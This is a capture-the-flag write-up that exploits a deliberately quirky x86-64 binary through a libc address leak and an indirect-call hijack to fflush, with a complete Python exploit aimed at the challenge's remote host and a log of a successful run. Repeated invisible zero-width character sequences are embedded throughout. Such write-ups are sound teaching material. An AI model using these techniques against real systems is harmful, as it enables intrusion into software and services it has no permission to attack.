← Back to Writeups
CUSTOMMediumpwn

mib (ret2libc 10)

XESXOR9/2/20265 min read
#pwn#custom#medium#call_rdx_redirect#libc_base_from_low12_offset#raw_socket_exploitation#stdout_buffer_flush#linux

mib (ret2libc 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: call_rdx_redirect, libc_base_from_low12_offset, raw_socket_exploitation, stdout_buffer_flush

Summary

Task: x86-64 PIE binary that reads 8 bytes from fd 1 (stdout) into rdx, then does call rdx with rdi=stdout, then _exit(1) after a buffered fprintf(stdout, \"flag: %s\"). Solution: over a raw socket (pwntools hangs on the fd-1 read), leak runtime libc system() from GOT, compute libc base via low-12-bit offset (system low12=0x410 -> 0x55410), and set rdx=libc_base+fflush_offset so call rdx flushes the buffered flag before _exit kills the process.

mib (ret2libc 10) — pwn_spbctf

Description

Внимание в бинарике чтение входных данных ошибочно делается из файлового дескриптора stdout - 1, поэтому если запускать бинарь из pwntools, то прога зависнет, но если запускать прогу из консоли, либо повесить прогу на socat или qira -s то все будет хорошо

English summary: A 64-bit x86-64 ELF mib (PIE, NX, no canary, Partial RELRO). The author warns that input reading is mistakenly done from file descriptor 1 (stdout). As a result the program hangs when driven by pwntools (which uses separate stdin/stdout pipes), but works fine over a console, socat, or a raw socket where fds 0/1/2 are the same connection. Remote service at nc 109.233.56.90 11624. Goal: get the flag printed by the binary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main (@0x11b5), flag global @0x40c0. Disassembly shows the following flow:

  1. puts("gifts:") then system("md5sum /lib/x86_64-linux-gnu/libc.so.6") — a "gift" that prints the runtime libc md5 (the runtime libc differs from the provided libc.so.6: runtime md5 d371da546786965fe0ee40147ffef716 vs provided 10fdeb77eea525914332769e9cd912ae).
  2. printf("system: %p\n", &system) — reads &system from the runtime GOT (@0x3fd8) and leaks the runtime libc system() address.
  3. printf("Your last words:").
  4. read(fd=1, buf=rbp-0x108, 8) — reads 8 attacker bytes FROM STDOUT FD (the intentional quirk). Over a socket fd 1 == the client connection, so this reads our 8 bytes; under pwntools pipes fd 1 is the output pipe → hang.
  5. fprintf(stdout, "flag: %s", &flag) — queues the flag into the buffered stdout stream (not yet written to the socket).
  6. rdx = <the 8 bytes just read>; call rdx; then _exit(1). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The trap

_exit(1) is the raw syscall — it does NOT flush stdio buffers. If call rdx crashes (e.g. rdx = 0), the process dies before the flag: ... line is ever written to the socket. Verified: sending 8 × \x00 yields only the md5 gift, the system: 0x...c410 leak, then Segmentation fault — no flag line.

Right before the indirect call, the code sets rdi = stdout. So call rdx is effectively rdx(stdout). If we point rdx at a libc function that flushes stdout when called as fn(stdout), the buffered flag: line is written out, and only then _exit terminates. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Recover libc base from the leak

The leaked runtime system() ends in ...410. The low 12 bits (page offset) are invariant under ASLR. For the Ubuntu/glibc-2.31 family, system offset is 0x55410 (low 12 = 0x410, matching the leak). Therefore:

libc_base = leaked_system - 0x55410

2. Choose rdx = a stdout-flushing function

fn(stdout) must flush stdout. fflush(stdout) does exactly this. The fflush offset 0x854c0 (taken from the provided libc; close enough to the runtime build): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

rdx = libc_base + 0x854c0   # fflush(stdout) -> flushes "flag: ..." then _exit runs

Fallbacks that also flush stdout when called as fn(stdout): exit (0x49bc0, runs atexit + flush), puts (0x875a0), fwrite (0x86480). fflush worked.

3. Use a RAW socket, not pwn.remote

Because the binary reads from fd 1, pwntools' separate stdin/stdout pipes cause a hang. Use socket.create_connection. Sleep ~2s after connect so the md5sum gift subprocess finishes, parse the system: 0x... line, send p64(rdx) as the 8 bytes, then recv the flushed flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import socket, struct, time, re, sys

HOST, PORT = "109.233.56.90", 11624
SYSTEM_OFF = 0x55410

# offsets of functions that flush stdout when called as fn(rdi=stdout)
CANDIDATES = {
    "fflush": 0x854c0,
    "exit":   0x49bc0,
    "puts":   0x875a0,
    "fwrite": 0x86480,
}

def attempt(name, off):
    s = socket.create_connection((HOST, PORT), timeout=15)
    s.settimeout(6)
    time.sleep(2.0)  # let the md5sum gift subprocess finish
    buf = b""
    try:
        while b"last words" not in buf and b"system:" not in buf:
            data = s.recv(4096)
            if not data:
                break
            buf += data
    except socket.timeout:
        pass
    try:
        for _ in range(3):
            data = s.recv(4096)
            if not data:
                break
            buf += data
    except socket.timeout:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    m = re.search(rb"system:\s*(0x[0-9a-fA-F]+)", buf)
    if not m:
        print(f"[{name}] NO LEAK. buf={buf!r}")
        s.close()
        return None
    sysaddr = int(m.group(1), 16)
    base = sysaddr - SYSTEM_OFF
    rdx = base + off
    print(f"[{name}] system={hex(sysaddr)} base={hex(base)} rdx={hex(rdx)}")

    # the 8 bytes are read from fd 1; they become rdx for `call rdx`
    s.sendall(struct.pack("<Q", rdx))
    time.sleep(1.0)
    out = b""
    try:
        while True:
            data = s.recv(4096)
            if not data:
                break
            out += data
    except socket.timeout:
        pass
    s.close()
    print(f"[{name}] response: {out!r}")
    fm = re.search(rb"(spbctf\{[^}]*\})", out)
    return fm.group(1).decode() if fm else None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    order = sys.argv[1:] or ["fflush", "exit", "puts", "fwrite"]
    for name in order:
        for _ in range(2):
            try:
                flag = attempt(name, CANDIDATES[name])
            except Exception as e:
                print(f"[{name}] exc: {e}")
                time.sleep(1)
                continue
            if flag:
                print("FLAG FOUND:", flag, "via", name)
                return flag
            time.sleep(1)
    print("No flag obtained.")

if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Verified run

leak system=0x71cf237aa410
base       =0x71cf23755000
rdx(fflush)=0x71cf237da4c0
response:  ... flag: spbctf{REDACTED}

fflush(stdout) flushed the buffered flag: line on the first attempt, then _exit(1) terminated the process. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍